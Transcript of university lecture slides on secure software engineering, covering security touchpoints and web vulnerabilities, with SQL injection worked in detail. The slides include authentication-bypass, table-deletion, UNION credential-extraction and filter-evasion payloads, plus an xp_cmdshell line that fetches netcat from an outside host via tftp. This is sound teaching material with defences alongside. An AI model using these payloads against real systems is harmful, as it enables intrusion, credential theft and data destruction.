Secure Software Engineering James Walden Northern Kentucky University.

Slides:



Advertisements
Similar presentations
August 1, 2006 Software Security. August 1, 2006 Essential Facts Software Security != Security Features –Cryptography will not make you secure. –Application.
Advertisements

It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
James Walden, Maureen Doyle Northern Kentucky University Students: Andrew Plunkett, Rob Lenhof, John Murray.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
HTTP Hypertext Transfer Protocol. HTTP messages HTTP is the language that web clients and web servers use to talk to each other –HTTP is largely “under.
The World Wide Web and the Internet Dr Jim Briggs 1WUCM1.
Dec 13 th CS555 presentation1 Yiwen Wang --“Securing the DB may be the single biggest action an organization can take to protect its assets” David C. Knox.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
SEC835 Database and Web application security Information Security Architecture.
Web Hacking 1. Overview Why web HTTP Protocol HTTP Attacks 2.
MIS Week 11 Site:
HTTP and Server Security James Walden Northern Kentucky University.
Principles of Computer Security: CompTIA Security + ® and Beyond, Third Edition © 2012 Principles of Computer Security: CompTIA Security+ ® and Beyond,
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
March 4, 2008 ISACA Web Application Security James Walden Northern Kentucky University
Penetration Testing James Walden Northern Kentucky University.
A Security Review Process for Existing Software Applications
JavaScript, Fourth Edition
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
May 2, 2007St. Cloud State University Software Security.
Web 2.0 Security James Walden Northern Kentucky University.
August 1, The Software Security Problem August 1, 2006.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Attacking Applications: SQL Injection & Buffer Overflows.
CSC 682: Advanced Computer SecuritySlide #1 CSC 682: Advanced Computer Security Introduction.
Software Security Initiative James Walden Northern Kentucky University.
Cross-Site Attacks James Walden Northern Kentucky University.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Attacking Data Stores Brad Stancel CSCE 813 Presentation 11/12/2012.
Prof Frankl, Spring 2008CS Polytechnic University 1 Overview of Web database applications with PHP.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
Injection CSC 482/582: Computer SecuritySlide #1.
1 ITGD 2202 Supervision:- Assistant Professor Dr. Sana’a Wafa Al-Sayegh Dr. Sana’a Wafa Al-SayeghStudent: Anwaar Ahmed Abu-AlQumboz.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
SQL Injection Jason Dunn. SQL Overview Structured Query Language For use with Databases Purpose is to retrieve information Main Statements Select Insert.
Static Analysis James Walden Northern Kentucky University.
Web Applications Testing By Jamie Rougvie Supported by.
June 14, 2007 Web Application Security Workshop James Walden.
2007cs Servers on the Web. The World-Wide Web 2007 cs CSS JS HTML Server Browser JS CSS HTML Transfer of resources using HTTP.
Appendix E: Overview of HTTP ©SoftMoore ConsultingSlide 1.
ECMM6018 Enterprise Networking for Electronic Commerce Tutorial 7
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
CIT 383: Administrative ScriptingSlide #1 CIT 383: Administrative Scripting HTTP.
Database Security Cmpe 226 Fall 2015 By Akanksha Jain Jerry Mengyuan Zheng.
Web Services. 2 Internet Collection of physically interconnected computers. Messages decomposed into packets. Packets transmitted from source to destination.
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Overview of Servlets and JSP
PHP Security Ryan Dunn Jason Pack. Outline PHP Overview PHP Overview Common Security Issues Common Security Issues Advanced Security Issues Advanced Security.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Ramesh Mannava.  Overview  Introduction  10 secure software engineering topics  Agile development with security development activities  Conclusion.
© Janice Regan, CMPT 128, Jan 2007 CMPT 371 Data Communications and Networking HTTP 0.
CSC 482/582: Computer Security
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
World Wide Web policy.
SQL Injection.
Software Security ITGD 2202 Supervision:- Assistant Professor
Chapter 19 PHP Part III Credits: Parts of the slides are based on slides created by textbook authors, P.J. Deitel and H. M. Deitel by Prentice Hall ©
A Security Review Process for Existing Software Applications
James Walden Northern Kentucky University
Chapter 13 Security Methods Part 3.
Lecture 2 - SQL Injection
CIT 485: Advanced Cybersecurity
CIT 485: Advanced Cybersecurity
Presentation transcript:

Secure Software Engineering James Walden Northern Kentucky University

CSC 666: Secure Software Engineering Course Information Prerequisites CSC 540, CSC 582 Web Site Textbooks Software Security, Gary McGraw, Addison- Wesley, Secure Programming with Static Analysis, Brian Chess and Jacob West, Addison-Wesley, 2007.

CSC 666: Secure Software Engineering Assignment Policy Available on web page. Your responsibility to check for announcements. Types of assignments Individual programming/assessment assignments. Group programming/assessment assignments. Late policy 20% penalty up to one week late 0 points given after one week late

CSC 666: Secure Software Engineering Topics 1.The Software Security Problem 2.Processes and Touchpoints 3.Web Application Vulnerabilities 4.An Example Bug: SQL Injection

CSC 666: Secure Software Engineering Traditional Security is Reactive  Perimeter defense (firewalls)  Intrusion detection  Over-reliance on cryptography  Penetrate and patch  Penetration testing

CSC 666: Secure Software Engineering The Problem is Software “75% of hacks happen at the application.” - Theresa Lanowitz, Gartner Inc. “92% of reported vulnerabilities are in apps, not networks.” - NIST “64% of developers are not confident in their ability to write secure code.” - Bill Gates

CSC 666: Secure Software Engineering A Growing Problem

CSC 666: Secure Software Engineering Motivations

CSC 666: Secure Software Engineering Trinity of Trouble Connectivity  Ubquitious Internet; wireless & mobile computing. Complexity  Networked, distributed code that can interact with intermediate caches, ad proxies, etc. Extensibility  Systems evolve in unexpected ways, e.g. web browsers, which support many formats, add- ons, plugins, programming languages, etc.

CSC 666: Secure Software Engineering SSE Objectives 1. Dependability: software functions only as intended; 2.Trustworthiness: No exploitable vulnerabilities or malicious logic exist in the software; 3. Resilience: If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity; 4. Conformance: to requirements and applicable standards and procedures.

CSC 666: Secure Software Engineering Security Standards and Certs  ISO Common Criteria  PCI Data Security Standard  Requirement 6: Develop and maintain secure systems and applications  SANS GIAC Secure Software Programmer   Many standards indirectly impact SSE  FISMA  SOX

CSC 666: Secure Software Engineering Secure Development Processes  CLASP (Comprehensive, Lightweight Application Security Process)  Correctness-by-Construction (formal methods based process from Praxis Critical Systems)  MS SDL (Microsoft Secure Development Lifecycle)  SSE CMM (Secure Software Engineering Capability Maturity Model)  TSP-Secure (Team Software Process for Secure Software Development)  Touchpoints

CSC 666: Secure Software Engineering Software Security Practices 1.Code Reviews 2.Risk Analysis 3.Penetration Testing Security Operations RequirementsDesignCodingTestingMaintenance Risk Analysis Abuse Cases Code Reviews + Static Analysis Penetration Testing Security Testing 4.Security Testing 5.Abuse Cases 6.Security Operations

CSC 666: Secure Software Engineering Code Reviews Fix implementation bugs, not design flaws. Benefits of code reviews 1.Find defects sooner in the lifecycle. 2.Find defects with less effort than testing. 3.Find different defects than testing. 4.Educate developers about security flaws.

CSC 666: Secure Software Engineering Architectural Risk Analysis Fix design flaws, not implementation bugs. Risk analysis steps 1.Develop an architecture model. 2.Identify threats and possible vulnerabilities. 3.Develop attack scenarios. 4.Rank risks based on probability and impact. 5.Develop mitigation strategy. 6.Report findings

CSC 666: Secure Software Engineering Penetration Testing Test software in deployed environment. Allocate time at end of development to test. Often time-boxed: test for n days. Schedule slips often reduce testing time. Fixing flaws is expensive late in lifecycle. Penetration testing tools Test common vulnerability types against inputs. Fuzzing: send random data to inputs. Don’t understand application structure or purpose.

CSC 666: Secure Software Engineering Security Testing Intendended Functionality Actual Functionality Functional testing will find missing functionality. Injection flaws, buffer overflows, XSS, etc.

CSC 666: Secure Software Engineering Security Testing Two types of testing Functional: verify security mechanisms. Adversarial: verify resistance to attacks generated during risk analysis. Different from traditional penetration testing White box. Use risk analysis to build tests. Measure security against risk model.

CSC 666: Secure Software Engineering Abuse Cases Anti-requirements Think about what software should not do. A use case from an adversary’s point of view. Obtain Another User’s CC Data. Alter Item Price. Deny Service to Application. Developing abuse cases Informed brainstorming: attack patterns, risks.

CSC 666: Secure Software Engineering Security Operations User security notes Software should be secure by default. Enabling certain features may have risks. User needs to be informed of security risks. Incident response What happens when a vulnerability is reported? How do you communicate with users? How do you send updates to users?

CSC 666: Secure Software Engineering Web Application Vulnerabilities Input-based Security Problems  Injection Flaws  Insecure Remote File Inclusion  Unvalidated Input Authentication and Authorization  Authentication  Access Control  Cross-Site Scripting Other Bugs  Error Handling and Information Leakage  Insecure Storage  Insecure Communications

CSC 666: Secure Software Engineering HTTP: HyperText Transfer Protocol Simple request/response protocol  Request methods: GET, POST, HEAD, etc.  Stateless: req#2 doesn’t know about req#1 HTTPS  HTTP wrapped in SSL/TLS encryption  Protects data in transit to web server.  Doesn’t protect stored data.  Doesn’t protect server from being hacked.

CSC 666: Secure Software Engineering HTTP Request GET HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/ Firefox/ Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4 MethodURL Protocol Version Headers Blank Line No Data for GET

CSC 666: Secure Software Engineering HTTP Response HTTP/ OK Cache-Control: private Content-Type: text/html Server: GWS/2.1 Date: Fri, 13 Oct :16:30 GMT... (page data)... Protocol VersionHTTP Response Code Headers Blank Line Web Page Data

CSC 666: Secure Software Engineering HTTP GET Parameters Format  parameter_name=value  Multiple parameters separated by & URI encoding  Encode chars as ISO-Latin hex val: %XY  Special characters must be encoded.  Any character may be encoded.

CSC 666: Secure Software Engineering HTTP POST Parameters POST /path/app.cgi HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 32 param1=value1&param2=value2 Format  parameter_name=value  Multiple parameters separated by & URI encoding

CSC 666: Secure Software Engineering Cookies HTTP/ OK Content-Type: text/html Set-Cookie: Name=Value; path=/; expires=01-Jan :59:59UCT Cookie Format  Only sent to URLs that match path, domain.  Sent only via SSL if secure specified.  Expires on date or when browser closed. GET /path/app.cgi HTTP/1.1 Host: ex.com Cookie: Name=Value

CSC 666: Secure Software Engineering An Example Bug: Injection  Injection attacks trick an application into including unintended commands in the data send to an interpreter.  Interpreters  Interpret strings as commands.  Ex: SQL, shell (cmd.exe, bash), LDAP, XPath  Key Idea  Input data from the application is executed as code by the interpreter.

CSC 666: Secure Software Engineering SQL Injection 1.App sends form to user. 2.Attacker submits form with SQL exploit data. 3.Application builds string with exploit data. 4.Application sends SQL query to DB. 5.DB executes query, including exploit, sends data back to application. 6.Application returns data to user. Attacker Web Server DB Server Firewall User Pass ‘ or 1=1--

CSC 666: Secure Software Engineering SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: ". mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query);

CSC 666: Secure Software Engineering SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is empty OR 1=1, which is always true, permitting access.

CSC 666: Secure Software Engineering SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from table users where username like ‘% DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from table users where username like ‘%’

CSC 666: Secure Software Engineering Finding SQL Injection Bugs 1.Submit a single quote as input. If an error results, app is vulnerable. If no error, check for any output changes. 2.Submit two single quotes. Databases use ’’ to represent literal ’ If error disappears, app is vulnerable. 3.Try string or numeric operators. Oracle: ’||’FOO MS-SQL: ‘+’FOO MySQL: ’ ’FOO ASCII(1)

CSC 666: Secure Software Engineering 2008 Mass SQL Injection Attacks  Estimated 1.5 million pages compromised.  Methodology  Identify vulnerable web applications.  Use xp_cmdshell on MS SQL to download tools to compromised MS SQL server.  Use fgdump to obtain Windows credentials.  Install backdoors that periodically contact their command & control servers.  Search for credit cards or brute force passwords.

CSC 666: Secure Software Engineering Real Estate Site Hacking 1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username, char(58),password),4,5/**/FROM/**/admin/* Exploit against

CSC 666: Secure Software Engineering The Problem: String Building Building a SQL command string with user input in any language is dangerous. Variable interpolation. String concatenation with variables. String format functions like sprintf(). String templating with variable replacement.

CSC 666: Secure Software Engineering Mitigating SQL Injection Partially Effective Mitigations Blacklists Stored Procedures Effective Mitigations Whitelists Prepared Queries

CSC 666: Secure Software Engineering Ineffective Mitigation: Blacklist Filter out known bad SQL metacharacters, such as single quotes. Problems: 1.Numeric parameters don’t use quotes. 2.URL escaped metacharacters. 3.Unicode encoded metacharacters. 4.Did you miss any metacharacters?

CSC 666: Secure Software Engineering Bypassing Blacklist Filters Different case SeLecT instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114)

CSC 666: Secure Software Engineering Ineffective Mitigation: Stored Procedures SQL Stored Procedures build strings too: CREATE PROCEDURE nchar(128) AS nchar(256) = ‘SELECT cc FROM cust WHERE id=‘’’ + ‘’’’ RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’#

CSC 666: Secure Software Engineering Mitigation: Whitelist Reject input that doesn’t match your list of safe characters to accept.  Identify what’s good, not what’s bad.  Reject input instead of attempting to repair.  Still have to deal with single quotes when required, such as in names.

CSC 666: Secure Software Engineering Mitigation: Prepared Queries require_once 'MDB2.php'; $mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } $sql = “SELECT count(*) from users where username = ? and password = ?”; $types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data);

CSC 666: Secure Software Engineering Key Points  The Problem of Software Security  SSE Goals  Dependability  Trustworthiness  Resilience  Conformance  Touchpoints  Code Reviews  Risk Analysis  Penetration Testing  Security Testing  Abuse Cases  Security Operations

CSC 666: Secure Software Engineering References 1.Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, CLASP, OWASP CLASP Project, ct, ct 3.Noopur Davis et. al., Processes for Producing Secure Software. IEEE Security & Privacy, May Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software. Enhancing the Development Life Cycle to Produce Secure Software: A Reference Guidebook on Software Assurance, October 2008.Enhancing the Development Life Cycle to Produce Secure Software 5.Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development,” pdf, October pdf 7.Gary McGraw, Software Security, Addison-Wesley, 2006.